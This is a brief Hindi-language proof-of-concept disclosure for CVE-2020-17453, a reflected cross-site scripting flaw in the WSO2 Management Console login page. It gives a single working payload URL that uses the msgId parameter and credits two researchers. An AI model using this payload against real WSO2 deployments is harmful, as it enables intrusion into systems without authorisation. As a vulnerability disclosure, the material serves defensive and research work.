
PoC (प्रूफ ऑफ कॉन्सेप्ट) - CVE-2020-17453
CVE-2020-17453
WSO2 Management Console 5.10 तक carbon/admin/login.jsp msgId पैरामीटर के माध्यम से XSS की अनुमति देता है।

https://<company>.com/carbon/admin/login.jsp?msgId=%27;alert(1)//
नाम: Jackson Henry
ट्विटर: @JacksonHHax
नाम: Nicholas Young